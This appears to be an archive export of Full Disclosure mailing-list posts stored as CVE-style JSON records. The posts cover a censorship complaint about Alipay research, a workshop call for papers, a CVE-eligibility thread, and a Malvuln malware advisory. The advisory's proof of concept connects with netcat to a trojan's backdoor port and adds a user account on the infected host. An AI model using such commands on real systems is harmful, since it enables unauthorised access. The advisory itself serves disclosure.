"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/19",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-23T11:41:34Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0246"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-08T08:13:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0246"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0242
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
UPDATE: Ant Group Censors 4 Security Research Articles After Initial Complaint Rejection
Summary
[This is an update to communications sent March 12-14 regarding Alipay security vulnerabilities.]
---
On March 15, 2026, four WeChat articles documenting security vulnerabilities in Alipay were forcibly deleted from the
public account AI-security-innora. The deletion was carried out by Tencent at the request of Beijing Geyun Law Firm,
acting on behalf of Ant Group, citing China's Cybersecurity Law.
The same complaint had been rejected by WeChat four days earlier on grounds of "reputation infringement" -- at that
point WeChat found it did not meet the threshold for removal. When resubmitted under a different legal theory, the
articles were deleted without further review.
---
WHAT WAS DELETED
1. "Whitelist bypass as a universal attack key" (当白名单绕过沦为全网攻击的钥匙)
2. "The gag order rejected by WeChat, then reversed" (巨头的封口令被微信驳回)
3. "GPS location silently exfiltrated from 1B+ users' payment app" (位置被秒偷)
4. "Security research vs. a cease-and-desist for an article with zero mentions of Alipay"
---
THE BROADER DISCLOSURE RECORD
The underlying research covers 17 vulnerabilities (CVSS 7.4-9.3) in Alipay for iOS/Android, reported to Ant Group
through responsible disclosure. Ant Group's formal response: "normal functionality."
Independent verification and institutional acceptance:
- MITRE: 6 CVEs accepted, Ticket #2005801
- Packet Storm: Advisory #217089 published
- CSSF Luxembourg: Whistleblowing case CSSFWB-2026-080
- HKMA Hong Kong: Case CE20260313175412
- PDPC Singapore: Investigation #00629724
- Apple Product Security: Case OE01052449093014
- Google Play: Policy violation review #9-7515000040640
- CIRCL Luxembourg: Case #4782984 (relayed to Alibaba SRC)
- 38+ institutions across 22 jurisdictions have acknowledged the report
Full technical report: https://innora.ai/zfb/
GitHub: https://github.com/sgInnora/alipay-deeplink-research
---
THE CENSORSHIP PATTERN
This escalation follows a documented sequence:
1. Oral denial by vendor ("normal functionality," March 10)
2. Public blog published after disclosure window elapsed (March 11)
3. Cease-and-desist via Beijing Geyun Law Firm (March 11, 4h29m after publication)
4. Initial WeChat complaint REJECTED (reputation infringement standard not met)
5. Re-filed under Cybersecurity Law -- all 4 articles deleted without further notice (March 15)
6. Server-side blocking of PoC demonstration traffic (documented separately)
This pattern is consistent with suppression of security research rather than legitimate legal remedy. disclose.io
maintains a researcher threats database at https://threats.disclose.io/ that tracks this category of legal and
platform-based retaliation against good-faith researchers.
A full bilingual analysis of this censorship event is available at: https://innora.ai/zfb/
---
I am available for verification, additional documentation, or technical questions.
Jiqiang Feng
Innora AI Security Research
feng () innora ai
https://innora.ai/zfb/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | UPDATE Ant Group |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "UPDATE Ant Group",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jiqiang Feng via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "[This is an update to communications sent March 12-14 regarding Alipay security vulnerabilities.]\n\n---\n\nOn March 15, 2026, four WeChat articles documenting security vulnerabilities in Alipay were forcibly deleted from the \npublic account AI-security-innora. The deletion was carried out by Tencent at the request of Beijing Geyun Law Firm, \nacting on behalf of Ant Group, citing China\u0027s Cybersecurity Law.\n\nThe same complaint had been rejected by WeChat four days earlier on grounds of \"reputation infringement\" -- at that \npoint WeChat found it did not meet the threshold for removal. When resubmitted under a different legal theory, the \narticles were deleted without further review.\n\n---\n\nWHAT WAS DELETED\n\n1. \"Whitelist bypass as a universal attack key\" (\u5f53\u767d\u540d\u5355\u7ed5\u8fc7\u6ca6\u4e3a\u5168\u7f51\u653b\u51fb\u7684\u94a5\u5319)\n2. \"The gag order rejected by WeChat, then reversed\" (\u5de8\u5934\u7684\u5c01\u53e3\u4ee4\u88ab\u5fae\u4fe1\u9a73\u56de)\n3. \"GPS location silently exfiltrated from 1B+ users\u0027 payment app\" (\u4f4d\u7f6e\u88ab\u79d2\u5077)\n4. \"Security research vs. a cease-and-desist for an article with zero mentions of Alipay\"\n\n---\n\nTHE BROADER DISCLOSURE RECORD\n\nThe underlying research covers 17 vulnerabilities (CVSS 7.4-9.3) in Alipay for iOS/Android, reported to Ant Group \nthrough responsible disclosure. Ant Group\u0027s formal response: \"normal functionality.\"\n\nIndependent verification and institutional acceptance:\n- MITRE: 6 CVEs accepted, Ticket #2005801\n- Packet Storm: Advisory #217089 published\n- CSSF Luxembourg: Whistleblowing case CSSFWB-2026-080\n- HKMA Hong Kong: Case CE20260313175412\n- PDPC Singapore: Investigation #00629724\n- Apple Product Security: Case OE01052449093014\n- Google Play: Policy violation review #9-7515000040640\n- CIRCL Luxembourg: Case #4782984 (relayed to Alibaba SRC)\n- 38+ institutions across 22 jurisdictions have acknowledged the report\n\nFull technical report: https://innora.ai/zfb/\nGitHub: https://github.com/sgInnora/alipay-deeplink-research\n\n---\n\nTHE CENSORSHIP PATTERN\n\nThis escalation follows a documented sequence:\n\n1. Oral denial by vendor (\"normal functionality,\" March 10)\n2. Public blog published after disclosure window elapsed (March 11)\n3. Cease-and-desist via Beijing Geyun Law Firm (March 11, 4h29m after publication)\n4. Initial WeChat complaint REJECTED (reputation infringement standard not met)\n5. Re-filed under Cybersecurity Law -- all 4 articles deleted without further notice (March 15)\n6. Server-side blocking of PoC demonstration traffic (documented separately)\n\nThis pattern is consistent with suppression of security research rather than legitimate legal remedy. disclose.io \nmaintains a researcher threats database at https://threats.disclose.io/ that tracks this category of legal and \nplatform-based retaliation against good-faith researchers.\n\nA full bilingual analysis of this censorship event is available at: https://innora.ai/zfb/\n\n---\n\nI am available for verification, additional documentation, or technical questions.\n\nJiqiang Feng\nInnora AI Security Research\nfeng () innora ai\nhttps://innora.ai/zfb/\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/7"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Mar/7"
},
{
"url": "https://github.com/sgInnora/alipay-deeplink-research"
},
{
"url": "https://innora.ai/zfb/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://threats.disclose.io/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Mar/7"
],
"discovery": "EXTERNAL"
},
"title": "UPDATE: Ant Group Censors 4 Security Research Articles After Initial Complaint Rejection",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0242",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Mar/7",
"automated": true,
"contentSha256": "f12bb476b564c255d13e198a5fb0e7a28d725ccca29027603773149a484a6d65",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Mar/7",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-03-15T12:18:43Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:41Z",
"dateUpdated": "2026-09-08T08:13:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0242"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0238
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
[IWCC 2026] CfP: 15th International Workshop on Cyber Crime - Linköping, Sweden, Aug 24-27, 2026
Summary
[APOLOGIES FOR CROSS-POSTING]
CALL FOR PAPERS
15th International Workshop on Cyber Crime (IWCC 2026 -
https://www.ares-conference.eu/iwcc)
to be held in conjunction with the International Conference on Availability,
Reliability and Security (ARES 2026 - https://www.ares-conference.eu/) in
Linköping, Sweden, August 24-27, 2026
IMPORTANT DATES
Submission Deadline May 11, 2026
Author Notification May 29, 2026
Proceedings Version June 19, 2026
Conference August 24-27, 2026
WORKSHOP DESCRIPTION
Societies in today's world are becoming increasingly dependent on online
services, where commercial activities, business transactions, government
services, and biomedical diagnostics are carried out. This tendency has been
evident during the recent COVID-19 pandemic. These developments, along with
the growing number of military conflicts worldwide, have led to the fast
development of new cyber threats and numerous information security issues
exploited by cybercriminals. The inability to provide trusted, secure
services in contemporary computer networks has a significant socio-economic
impact on global enterprises and individuals.
Moreover, the frequent occurrence of international fraud necessitates
investigations spanning multiple domains and countries. Such examination is
often subject to different jurisdictions and legal systems. A good
illustration of the above is the Internet, which has made it easier to
prepare and perpetrate traditional - but now cyber-enabled - crimes. It has
served as an alternative avenue for criminals to conduct their activities
and launch attacks with relative anonymity, high deniability, and the
opportunity to operate in a border-agnostic environment. Worrying
developments in the abuse of artificial intelligence and machine learning
technologies have increased the capabilities of malign actors who leverage
these tools to design and propagate disinformation, which is especially
dangerous (and effective) during emergencies and crises of all kinds. The
developments in Generative Artificial Intelligence have also enabled the
increase of criminal capabilities in the production, dissemination, and
weaponization of high-quality, convincing fake content (text, audio, images,
and videos), which translates not only to the truth and trust decay among
the affected societies but also to the enhanced capabilities in
orchestrating the sophisticated cyber crimes.
Furthermore, nowadays, the majority of life-science-based techniques and
resulting data hinge on information technologies. Despite their considerable
advantages, dependence on cyber technologies also exposes vulnerabilities.
Various threats in the digital realm could target biomedical systems,
leading to adverse consequences. The field of CyberBioSecurity was
established to assist bio-related sciences in comprehending potential cyber
threats and formulating defense approaches, recovery protocols, and
resilience strategies.
The increased complexity of communications and the networking infrastructure
is making the investigation of these new types of crimes difficult. Traces
of illegal digital activity are difficult to analyze due to the large volume
of data. Nowadays, the digital crime scene operates like any other network,
with dedicated administrators serving as first responders. This poses new
challenges for law enforcement and intelligence communities and forces
computer societies to use digital forensics to combat the growing number of
cybercrimes. Forensic professionals must be fully prepared to provide
court-admissible evidence. Forensic techniques should keep pace with new
technologies to make these goals achievable. Prevention, mitigation, and
interdiction of new and emerging threats require an increasingly thorough,
multidisciplinary approach. They also require the collaboration of all
relevant actors and stakeholders in designing the technology regulation and
cyber governance measures.
The aim of this workshop is to bring together research outcomes from
academia and industry. Another goal is to showcase the latest research
findings across a wide range of topics, from digital forensics to
cyberbiosecurity. We strongly encourage prospective authors to submit
articles presenting both theoretical approaches and practical case reviews,
including work-in-progress reports.
ARES 2026 (incl. IWCC) proceedings will be published by Springer in Lecture
Notes in Computer Science (LNCS).
Authors of accepted IWCC workshop papers are invited to submit an *extended*
version of their work (with at least 30% new content) in a Special Issue of
the Frontiers in Computer Science journal [Impact Factor: 2.7].
TOPICS OF INTEREST INCLUDE, BUT ARE NOT LIMITED TO:
- Big Data analytics helping to track cyber crimes
- Protecting Big Data / AI models against cyber crimes
- Crime-as-a-service
- Criminal abuse of clouds and social networks
- Criminal to criminal (C2C) communications
- Criminal to victim (C2V) communications
- Criminal use of IoT, e.g., IoT-based botnets
- CyberBioSecurity and protection of biomedical systems
- Security of healthcare and life-science infrastructures
- Cybercrime-related investigations
- Cyber crimes: evolution, new trends and detection
- Darknets and hidden services
- Fake (incl. deepfake) and disinformation detection
- Generative Artificial Intelligence and cybercrime
- AI-enabled crime and terrorism
- Mobile malware
- Network anomalies detection
- Network traffic analysis, traceback and attribution
- Incident response, investigation and evidence handling
- Internet governance
- Novel techniques in exploit kits
- Political and business issues related to digital forensics and
anti-forensic techniques
- Anti-forensic techniques and methods
- Identification, authentication and collection of digital evidence
- Integrity of digital evidence and live investigations
- Privacy issues in digital forensics
- Ransomware: evolution, functioning, types, etc.
- Steganography/steganalysis and covert/subliminal channels
- Technology regulation
- Novel applications of information hiding in networks
- Watermarking and intellectual property theft
WORKSHOP CHAIRS
Artur Janicki, Warsaw University of Technology, Poland;
Katarzyna Kamińska, Warsaw University of Technology, Poland
Karolina Gabor-Siatkowska, Warsaw University of Technology, Poland;
SUBMISSION GUIDELINES
The submission guidelines valid for the workshop are the same as for the
ARES conference. They can be found at
https://www.ares-conference.eu/submission-guidelines.
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CfP 15th International |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "CfP 15th International",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Artur Janicki via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "[APOLOGIES FOR CROSS-POSTING]\n\nCALL FOR PAPERS\n15th International Workshop on Cyber Crime (IWCC 2026 -\nhttps://www.ares-conference.eu/iwcc)\nto be held in conjunction with the International Conference on Availability,\nReliability and Security (ARES 2026 - https://www.ares-conference.eu/) in\nLink\u00f6ping, Sweden, August 24-27, 2026\n\nIMPORTANT DATES\nSubmission Deadline May 11, 2026\nAuthor Notification May 29, 2026\nProceedings Version June 19, 2026\nConference August 24-27, 2026\n\nWORKSHOP DESCRIPTION\nSocieties in today\u0027s world are becoming increasingly dependent on online\nservices, where commercial activities, business transactions, government\nservices, and biomedical diagnostics are carried out. This tendency has been\nevident during the recent COVID-19 pandemic. These developments, along with\nthe growing number of military conflicts worldwide, have led to the fast\ndevelopment of new cyber threats and numerous information security issues\nexploited by cybercriminals. The inability to provide trusted, secure\nservices in contemporary computer networks has a significant socio-economic\nimpact on global enterprises and individuals.\n\nMoreover, the frequent occurrence of international fraud necessitates\ninvestigations spanning multiple domains and countries. Such examination is\noften subject to different jurisdictions and legal systems. A good\nillustration of the above is the Internet, which has made it easier to\nprepare and perpetrate traditional - but now cyber-enabled - crimes. It has\nserved as an alternative avenue for criminals to conduct their activities\nand launch attacks with relative anonymity, high deniability, and the\nopportunity to operate in a border-agnostic environment. Worrying\ndevelopments in the abuse of artificial intelligence and machine learning\ntechnologies have increased the capabilities of malign actors who leverage\nthese tools to design and propagate disinformation, which is especially\ndangerous (and effective) during emergencies and crises of all kinds. The\ndevelopments in Generative Artificial Intelligence have also enabled the\nincrease of criminal capabilities in the production, dissemination, and\nweaponization of high-quality, convincing fake content (text, audio, images,\nand videos), which translates not only to the truth and trust decay among\nthe affected societies but also to the enhanced capabilities in\norchestrating the sophisticated cyber crimes. \n\nFurthermore, nowadays, the majority of life-science-based techniques and\nresulting data hinge on information technologies. Despite their considerable\nadvantages, dependence on cyber technologies also exposes vulnerabilities.\nVarious threats in the digital realm could target biomedical systems,\nleading to adverse consequences. The field of CyberBioSecurity was\nestablished to assist bio-related sciences in comprehending potential cyber\nthreats and formulating defense approaches, recovery protocols, and\nresilience strategies. \n\nThe increased complexity of communications and the networking infrastructure\nis making the investigation of these new types of crimes difficult. Traces\nof illegal digital activity are difficult to analyze due to the large volume\nof data. Nowadays, the digital crime scene operates like any other network,\nwith dedicated administrators serving as first responders. This poses new\nchallenges for law enforcement and intelligence communities and forces\ncomputer societies to use digital forensics to combat the growing number of\ncybercrimes. Forensic professionals must be fully prepared to provide\ncourt-admissible evidence. Forensic techniques should keep pace with new\ntechnologies to make these goals achievable. Prevention, mitigation, and\ninterdiction of new and emerging threats require an increasingly thorough,\nmultidisciplinary approach. They also require the collaboration of all\nrelevant actors and stakeholders in designing the technology regulation and\ncyber governance measures.\n\nThe aim of this workshop is to bring together research outcomes from\nacademia and industry. Another goal is to showcase the latest research\nfindings across a wide range of topics, from digital forensics to\ncyberbiosecurity. We strongly encourage prospective authors to submit\narticles presenting both theoretical approaches and practical case reviews,\nincluding work-in-progress reports.\n\nARES 2026 (incl. IWCC) proceedings will be published by Springer in Lecture\nNotes in Computer Science (LNCS). \nAuthors of accepted IWCC workshop papers are invited to submit an *extended*\nversion of their work (with at least 30% new content) in a Special Issue of\nthe Frontiers in Computer Science journal [Impact Factor: 2.7].\n\nTOPICS OF INTEREST INCLUDE, BUT ARE NOT LIMITED TO:\n- Big Data analytics helping to track cyber crimes\n- Protecting Big Data / AI models against cyber crimes\n- Crime-as-a-service\n- Criminal abuse of clouds and social networks\n- Criminal to criminal (C2C) communications\n- Criminal to victim (C2V) communications\n- Criminal use of IoT, e.g., IoT-based botnets\n- CyberBioSecurity and protection of biomedical systems\n- Security of healthcare and life-science infrastructures\n- Cybercrime-related investigations\n- Cyber crimes: evolution, new trends and detection\n- Darknets and hidden services\n- Fake (incl. deepfake) and disinformation detection\n- Generative Artificial Intelligence and cybercrime\n- AI-enabled crime and terrorism\n- Mobile malware\n- Network anomalies detection\n- Network traffic analysis, traceback and attribution\n- Incident response, investigation and evidence handling\n- Internet governance\n- Novel techniques in exploit kits\n- Political and business issues related to digital forensics and\nanti-forensic techniques\n- Anti-forensic techniques and methods\n- Identification, authentication and collection of digital evidence\n- Integrity of digital evidence and live investigations\n- Privacy issues in digital forensics\n- Ransomware: evolution, functioning, types, etc.\n- Steganography/steganalysis and covert/subliminal channels\n- Technology regulation\n- Novel applications of information hiding in networks\n- Watermarking and intellectual property theft\n\nWORKSHOP CHAIRS\nArtur Janicki, Warsaw University of Technology, Poland; \nKatarzyna Kami\u0144ska, Warsaw University of Technology, Poland \nKarolina Gabor-Siatkowska, Warsaw University of Technology, Poland; \n\nSUBMISSION GUIDELINES\nThe submission guidelines valid for the workshop are the same as for the\nARES conference. They can be found at\nhttps://www.ares-conference.eu/submission-guidelines.\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/9"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.ares-conference.eu/"
},
{
"url": "https://www.ares-conference.eu/iwcc"
},
{
"url": "https://www.ares-conference.eu/submission-guidelines"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/9"
],
"discovery": "EXTERNAL"
},
"title": "[IWCC 2026] CfP: 15th International Workshop on Cyber Crime - Link\u00f6ping, Sweden, Aug 24-27, 2026",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0238",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/9",
"automated": true,
"contentSha256": "2daf9e4b443b51a16188f9f8b247a7065a75cf088a35941506a47f6e4f974c29",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-27T12:19:12Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:41Z",
"dateUpdated": "2026-09-08T08:13:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0238"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0236
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
Trojan-Spy.Win32.Small / Remote Command Execution
Summary
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026
Original source:
https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt
Malvuln Intelligence Feed: https://intel.malvuln.com/
Contact: malvuln13 () gmail com
Media: x.com/malvuln
Threat: Trojan-Spy.Win32.Small
Vulnerability: Remote Command Execution
Description: The malware opens a listener on TCP port 65535, allowing
unauthenticated remote attackers with network access to execute
arbitrary operating system commands on the infected host.
Family: Small
Type: PE32
Attack-pattern TTP: Command and Scripting Interpreter (T1059)
MD5: 8c15ec5f0137d097a345b693f0bffedb
SHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b
Vuln ID: MVID-2026-0705
Disclosure: 04/20/2026
Exploit/PoC:
nc64.exe x.x.x.x 65535
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\victim\Desktop>whoami
whoami
desktop-2c3iqho\victim
calc
C:\>net user hubert abc123 /add
net user hubert abc123 /add
The command completed successfully.
exit
Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
6 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Trojan-Spy.Win32.Small / |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Trojan-Spy.Win32.Small /",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "malvuln"
}
],
"descriptions": [
{
"lang": "en",
"value": "Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026\nOriginal source:\nhttps://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt\nMalvuln Intelligence Feed: https://intel.malvuln.com/\nContact: malvuln13 () gmail com\nMedia: x.com/malvuln\n\nThreat: Trojan-Spy.Win32.Small\nVulnerability: Remote Command Execution\nDescription: The malware opens a listener on TCP port 65535, allowing\nunauthenticated remote attackers with network access to execute\narbitrary operating system commands on the infected host.\nFamily: Small\nType: PE32\nAttack-pattern TTP: Command and Scripting Interpreter (T1059)\nMD5: 8c15ec5f0137d097a345b693f0bffedb\nSHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b\nVuln ID: MVID-2026-0705\nDisclosure: 04/20/2026\n\nExploit/PoC:\nnc64.exe x.x.x.x 65535\nMicrosoft Windows [Version 10.0.16299.309]\n(c) 2017 Microsoft Corporation. All rights reserved.\n\nC:\\Users\\victim\\Desktop\u003ewhoami\nwhoami\ndesktop-2c3iqho\\victim\ncalc\nC:\\\u003enet user hubert abc123 /add\nnet user hubert abc123 /add\nThe command completed successfully.\nexit\n\nDisclaimer: The information contained within this advisory is supplied\n\"as-is\" with no warranties or guarantees of fitness of use or\notherwise. Permission is hereby granted for the redistribution of this\nadvisory, provided that it is not altered except by reformatting it,\nand that due credit is given. Permission is explicitly given for\ninsertion in vulnerability databases and similar, provided that due\ncredit is given to the author. The author is not responsible for any\nmisuse of the information contained herein and accepts no\nresponsibility for any damage caused by the use or misuse of this\ninformation. The author prohibits any malicious use of security\nrelated information or exploits by the author or elsewhere. Do not\nattempt to download Malware samples. The author of this website takes\nno responsibility for any kind of damages occurring from improper\nMalware handling or the downloading of ANY Malware mentioned on this\nwebsite or elsewhere. All content Copyright (c) Malvuln.com (TM).\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:41Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/10"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/10"
},
{
"url": "https://intel.malvuln.com/"
},
{
"url": "https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/10"
],
"discovery": "EXTERNAL"
},
"title": "Trojan-Spy.Win32.Small / Remote Command Execution",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0236",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/10",
"automated": true,
"contentSha256": "e9ddbb3b3c74289ca7de586408f661f46299498dfb3f69cbb546fc461a88fc18",
"evidenceScore": 6,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/10",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-21T01:30:40Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:41Z",
"dateUpdated": "2026-09-08T08:13:41Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0236"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0229
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-08 07:57
VLAI
EPSS
VEX
Title
Re: Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)
Summary
Hello Yuffie,
Upon further investigation, the VulnCheck CNA determined that these
vulnerabilities were not suitable for CVE assignment. The
vulnerabilities exist within a SaaS product and are mitigated at the
CSP-level which in this case, would be the vendor, EQS Group. Rather than
contribute unactionable CVE records, the VulnCheck CNA used its
discretionary prowess to move forward with rejecting these records. This
policy aligns with a 2022 blog from MITRE
<https://www.cve.org/Media/News/item/blog/2022/09/13/Dispelling-the-Myth-CVE-ID>.
It
should be noted that the vendor informed us that they have published
advisories for the respective vulnerabilities in their "Trust Center"
customer portal.
These actions should not be a deterrent for you to pursue CVE assignment
through MITRE or another research CNA.
Best regards,
<https://www.vulncheck.com/>
Wade Sparks III
VulnCheck
Senior Vulnerability Analyst
On Tue, Jan 20, 2026 at 12:13 PM Yuffie Kisaragi <
yuffie.kisaragi () atomicmail io> wrote:
Dear Art,
Thank you for sharing your detailed evaluation and for pointing out the
relevant sections of the CNA Rules.
Your argument is well reasoned, particularly with respect to the current
guidance on SaaS and exclusively hosted services.
I have forwarded your evaluation to the CNA for further consideration. It
will also be important to understand the vendor’s perspective in light of
the points you raised, especially regarding the applicability of the
“exclusively-hosted-service” tag and the removal of prior restrictions.
We look forward to receive transparent feedback from the CNA and/or the
vendor.
To date, the vendor has remained silent with regard to informing their
users about the reported issues. As far as we can determine, no public
advisory or user-facing communication has been issued via their
vulnerability reporting channel (
https://www.eqs.com/report-a-vulnerability/) or elsewhere.
Best regards,
Yuffie
On Tue, Jan 20, 2026 at 7:26 PM <zmanion () protonmail com> wrote:
Hi,
the vulnerabilities are no longer considered eligible for CVE tracking,
despite being real, independently discovered, responsibly disclosed, and
acknowledged by the vendor.
CVE IDs *can* be assigned for SaaS or similarly "cloud only" software.
For a period of time, there was a restriction that only the provider could
make or request such an assignment. But the current CVE rules remove this
restriction:
4.2.3 CNAs MUST NOT consider the type of technology (e.g., cloud,
on-premises, artificial intelligence, machine learning) as the sole basis
for determining assignment.
It would have been acceptable (even preferred) to leave CVE-2025-34411
and CVE-2025-34412 published and identify them as affecting an
"exclusively-hosted-service:"
5.1.11.1 (A CVE Record) MUST use the “exclusively-hosted-service” tag
when all known Products listed in the CVE Record exist only as fully hosted
services. If the Vulnerability affects both hosted services and on-premises
Products, then this tag MUST NOT be used.
Rules: https://www.cve.org/resourcessupport/allresources/cnarules
Regards,
- Art
_______________________________________________
Sent through the Full Disclosure mailing list
